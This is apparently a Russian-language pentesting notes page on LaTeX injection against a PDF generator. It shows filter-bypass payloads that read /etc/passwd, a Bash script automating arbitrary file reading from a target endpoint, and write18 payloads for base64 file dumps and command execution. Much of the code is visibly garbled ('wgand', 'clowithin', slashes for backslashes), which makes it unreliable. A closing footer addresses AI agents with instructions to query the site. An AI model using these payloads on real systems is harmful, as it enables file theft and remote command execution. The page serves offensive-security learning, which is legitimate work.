> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# Техники инъекции LaTeX

Создайте LaTeX-файл с содержимым ниже и сгенерируйте URL с PDF-файлом:

<figure><img src="/files/15079ef8fc8113c33bb8a6e90b78eb5229748ba4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4c3916ac6f176097c18996202e1c2234507e19a8" alt="" width="560"><figcaption></figcaption></figure>

Используйте веб-сайт [лосось](https://salmonsec.com/cheatsheets/exploitation/latex_injection) чтобы попытаться вставить команды (в данном случае они блокируются):

<figure><img src="/files/fcd4ea45c3a2cc884348500fea1ce2e2ef281d05" alt="" width="563"><figcaption></figcaption></figure>

Вот PHP-код с фильтрацией:

<figure><img src="/files/5f3bee59486bb2db031b850024032dcbd4e35834" alt="" width="563"><figcaption></figcaption></figure>

Однако фильтрация не учитывает приведённые ниже команды, которые позволяют построчно вывести файл системы:

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/ed083ce50af032997f10cceccdae12708f4b66ef" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/796a60a6b53b1c9f389d3e4a56e802d927cdbc7c" alt="" width="563"><figcaption></figcaption></figure>

Зная это, этот Bash-скрипт автоматизирует всё, чтобы вывести любой файл системы:

```bash
#!/bin/bash
# Техники внедрения в LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
else
    echo -e "/n[!] Usage: $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/17b32de10ba6678e3e97b141af10cb6d5f043a30" alt="" width="533"><figcaption></figcaption></figure>

Другой способ — преобразовать содержимое в base64:

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/a6201232138346ae1bba799464b5d4ab89f78274" alt="" width="563"><figcaption></figcaption></figure>

Вставьте содержимое в файл с именем data и декодируйте его как обычный текст:

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/5944a6985b5e87012f5afe5539daa33142ff16ae" alt="" width="563"><figcaption></figcaption></figure>

Для выполнения команд вы можете использовать содержимое ниже (в данном случае, id):

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/859ad471020c8c0ca98a49e4ad5b2fc66c4ae3f6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
